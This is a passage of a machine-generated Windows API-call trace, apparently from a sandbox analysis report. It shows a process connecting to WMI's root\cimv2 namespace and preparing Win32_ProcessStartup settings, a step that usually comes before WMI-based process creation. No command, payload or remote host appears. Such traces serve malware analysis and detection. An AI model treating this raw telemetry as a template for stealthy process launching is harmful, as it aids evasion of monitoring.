ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0151.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88770, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0151.081] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0151.081] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0151.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88770, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0151.082] WbemLocator:IUnknown:Release (This=0x1bc88770) returned 0x2 [0151.082] WbemLocator:IUnknown:Release (This=0x1bc88770) returned 0x1 [0151.082] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0151.082] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0151.082] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88770, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc88770) returned 0x0 [0151.082] WbemLocator:IUnknown:AddRef (This=0x1bc88770) returned 0x3 [0151.082] WbemLocator:IUnknown:Release (This=0x1bc88770) returned 0x2 [0151.082] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.082] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0151.082] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.082] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc88790) returned 0x0 [0151.082] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc88790, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1a9e3d60) returned 0x0 [0151.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e3d60, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa027a0) returned 0x0 [0151.160] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa027a0, pProxy=0x1a9e3d60, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0151.160] WbemLocator:IUnknown:Release (This=0x1aa027a0) returned 0x1 [0151.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e3d60, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa027e0) returned 0x0 [0151.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e3d60, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa027a0) returned 0x0 [0151.160] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa027a0, pProxy=0x1a9e3d60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0151.161] WbemLocator:IUnknown:Release (This=0x1aa027a0) returned 0x2 [0151.161] WbemLocator:IUnknown:Release (This=0x1aa027e0) returned 0x1 [0151.161] CoTaskMemFree (pv=0x1bc6d950) [0151.161] WbemLocator:IUnknown:AddRef (This=0x1a9e3d60) returned 0x2 [0151.161] WbemLocator:IUnknown:Release (This=0x1bc88790) returned 0x0 [0151.161] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0151.161] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0151.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e3d60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa027b0) returned 0x0 [0151.162] WbemLocator:IRpcOptions:Query (in: This=0x1aa027b0, pPrx=0x1bc88710, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0151.162] WbemLocator:IUnknown:Release (This=0x1aa027b0) returned 0x2 [0151.162] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0151.162] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0151.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e3d60, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1a9e3d60) returned 0x0 [0151.162] WbemLocator:IUnknown:Release (This=0x1a9e3d60) returned 0x2 [0151.162] SysStringLen (param_1=0x0) returned 0x0 [0151.162] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0151.162] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0151.162] IWbemServices:GetObject (in: This=0x1a9e3d60, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb929a0, ppCallResult=0x0) returned 0x0 [0151.172] IWbemClassObject:Get (in: This=0x1bb929a0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0151.172] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0151.172] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0151.172] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0151.172] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0151.173] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0151.173] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.175] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc88790) returned 0x0 [0151.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88790, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0151.176] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88790, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc956b0) returned 0x0 [0151.176] WbemDefPath:IUnknown:Release (This=0x1bc88790) returned 0x0 [0151.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc956b0) returned 0x0 [0151.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0151.176] WbemDefPath:IUnknown:AddRef (This=0x1bc956b0) returned 0x3 [0151.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0151.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0151.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc886d0) returned 0x0 [0151.177] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc886d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.177] WbemDefPath:IUnknown:Release (This=0x1bc886d0) returned 0x3 [0151.177] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0151.177] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0151.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0151.177] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x2 [0151.177] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x1 [0151.177] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0151.177] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0151.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc956b0) returned 0x0 [0151.177] WbemDefPath:IUnknown:AddRef (This=0x1bc956b0) returned 0x3 [0151.177] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x2 [0151.178] WbemDefPath:IWbemPath:SetText (This=0x1bc956b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0151.178] IWbemClassObject:Get (in: This=0x1bb929a0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f4860*=0, plFlavor=0x27f4864*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f4860*=19, plFlavor=0x27f4864*=0) returned 0x0 [0151.178] IWbemClassObject:Get (in: This=0x1bb929a0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f4860*=19, plFlavor=0x27f4864*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f4860*=19, plFlavor=0x27f4864*=0) returned 0x0 [0151.178] IWbemClassObject:Put (This=0x1bb929a0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0151.178] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc958f0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0151.178] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.178] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0151.178] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.178] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0151.178] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0151.178] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0151.178] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.180] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc887d0) returned 0x0 [0151.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc887d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0151.181] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc887d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc95530) returned 0x0 [0151.181] WbemDefPath:IUnknown:Release (This=0x1bc887d0) returned 0x0 [0151.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc95530) returned 0x0 [0151.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0151.181] WbemDefPath:IUnknown:AddRef (This=0x1bc95530) returned 0x3 [0151.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0151.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0151.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc88810) returned 0x0 [0151.181] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88810, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.181] WbemDefPath:IUnknown:Release (This=0x1bc88810) returned 0x3 [0151.181] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0151.182] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0151.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0151.182] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x2 [0151.182] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x1 [0151.182] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0151.182] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0151.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc95530) returned 0x0 [0151.182] WbemDefPath:IUnknown:AddRef (This=0x1bc95530) returned 0x3 [0151.182] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x2 [0151.182] WbemDefPath:IWbemPath:SetText (This=0x1bc95530, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0151.182] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0151.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0151.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.182] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0151.182] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0151.182] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0151.182] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.183] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc88e10) returned 0x0 [0151.183] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88e10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0151.183] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc88e10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc591a0) returned 0x0 [0151.183] WbemLocator:IUnknown:Release (This=0x1bc88e10) returned 0x0 [0151.184] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc591a0) returned 0x0 [0151.184] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0151.184] WbemLocator:IUnknown:AddRef (This=0x1bc591a0) returned 0x3 [0151.184] 